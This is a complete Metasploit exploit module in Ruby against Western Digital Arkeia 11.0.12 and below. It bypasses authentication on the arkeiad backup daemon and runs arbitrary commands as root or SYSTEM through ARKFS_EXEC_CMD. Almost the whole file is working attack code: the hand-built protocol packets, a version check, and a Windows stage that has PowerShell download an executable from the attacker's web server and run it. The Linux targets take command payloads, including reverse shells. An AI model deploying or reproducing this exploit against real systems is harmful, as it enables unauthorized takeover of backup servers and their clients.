## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Western Digital Arkeia Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below. The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are insufficient checks on the authentication of all clients, this can be bypassed. Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or SYSTEM privileges. The daemon is installed on both the Arkeia server as well on all the backup clients. The module has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD. }, 'Author' => [ 'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', } ], [ 'Linux', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'DisableNops' => true, 'Space' => 60000, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'perl python bash-tcp gawk openssl' } } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 10 2015')) register_options( [ Opt::RPORT(617), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]) ], self.class) end def check connect req = "\x00\x41" req << "\x00" * 5 req << "\x73" req << "\x00" * 12 req << "\xc0\xa8\x02\x74" req << "\x00" * 56 req << "\x74\x02\xa8\xc0" req << 'ARKADMIN' req << "\x00" req << 'root' req << "\x00" req << 'root' req << "\x00" * 3 req << '4.3.0-1' # version? req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown end req = "\x00\x73" req << "\x00" * 5 req << "\x0c\x32" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown end req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00" req << 'EN' # Language req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect return Exploit::CheckCode::Unknown end # ARKADMIN_GET_CLIENT_INFO req = "\x00\x62\x00\x01" req << "\x00" * 3 req << "\x26" req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information req << "\x00\x32\x38" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect return Exploit::CheckCode::Unknown end req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38" req << "\x00" * 12 sock.put(req) # 1st packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown end # 2nd packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown end # 3rd packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length && data.include?('You have successfully retrieved client information') disconnect return Exploit::CheckCode::Unknown end # 4th packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04" disconnect return Exploit::CheckCode::Unknown end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect return Exploit::CheckCode::Unknown end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect return Exploit::CheckCode::Unknown end if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/ version = $1 vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}") if Gem::Version.new(version) <= Gem::Version.new('11.0.12') return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end else vprint_status("#{rhost}:#{rport} - Arkeia version not detected") return Exploit::CheckCode::Unknown end end def exploit if target.name =~ /Windows/ @down_file = rand_text_alpha(8+rand(8)) @pl = generate_payload_exe begin Timeout.timeout(datastore['HTTP_DELAY']) {super} rescue Timeout::Error end elsif target.name =~ /Linux/ communicate(payload.encoded) return end end def primer @payload_url = get_uri # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) # is not possible on Windows agents. command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";" command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');" command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\"" communicate(command) end def communicate(command) print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon") connect print_status("#{rhost}:#{rport} - Sending agent communication") req = "\x00\x41\x00\x00\x00\x00\x00\x70" req << "\x00" * 12 req << "\xc0\xa8\x02\x8a" req << "\x00" * 56 req << "\x8a\x02\xa8\xc0" req << 'ARKFS' req << "\x00" req << 'root' req << "\x00" req << 'root' req << "\x00" * 3 req << '4.3.0-1' # Client version ? req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") end req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") end req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00" req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID? req << "\x00" req << 'EN' # English language? req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") end req = "\x00\x62\x00\x01\x00\x02\x00\x1b" req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges req << "\x00\x31" req << "\x00" * 11 sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read") end req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c" req << "\x00" * 11 sock.put(req) command_length = '%02x' % command.length command_length = command_length.scan(/../).map { |x| x.hex.chr }.join req = "\x00\x64\x00\x04\x00\x04" req << [command.length].pack('n') req << command # Our command to be executed req << "\x00" print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD") sock.put(req) header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") end # 1st Packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") end # 2st Packet header = sock.get_once(6) unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end data_length = sock.get_once(2) unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data") end end def on_request_uri(cli, request) print_status("Request: #{request.uri}") if request.uri == get_resource print_status('Sending payload...') send_response(cli, @pl) register_files_for_cleanup("c:\\#{@down_file}.exe") end end end